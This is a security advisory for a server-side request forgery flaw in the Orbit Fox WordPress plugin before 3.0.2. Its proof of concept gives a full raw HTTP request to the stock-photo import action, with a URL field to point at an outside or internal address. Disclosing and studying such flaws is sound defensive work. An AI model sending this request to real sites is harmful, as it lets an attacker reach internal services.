Orbit Fox < 3.0.2 – Author+ Server-Side Request Forgery | CVE 2025-10874

Description

The plugin does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.

Proof of Concept

1. Go to https://example.com/wp-admin/post-new.php
2. Click the Camera icon in the upper right corner of the screen
3. Click on a photo to add and intercept the request


```
POST /wp-admin/admin-ajax.php?_locale=user HTTP/1.1
Host: [REDACTED]
Cookie: wordpress_logged_in_[HASH]=[AUTH_COOKIE]
X-Wp-Nonce: [NONCE]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXX

------WebKitFormBoundaryXXXXXXXX
Content-Disposition: form-data; name="action"

handle-request-mystock-import
------WebKitFormBoundaryXXXXXXXX
Content-Disposition: form-data; name="url"

<<ADD_URL_HERE>>

------WebKitFormBoundaryXXXXXXXX
Content-Disposition: form-data; name="security"

[NONCE_VALUE]
------WebKitFormBoundaryXXXXXXXX--
```

4. In the "URL" field, replace the URL with a URL from Webhook.site or an internal URL.
5. See that a request has made to the substituted URL.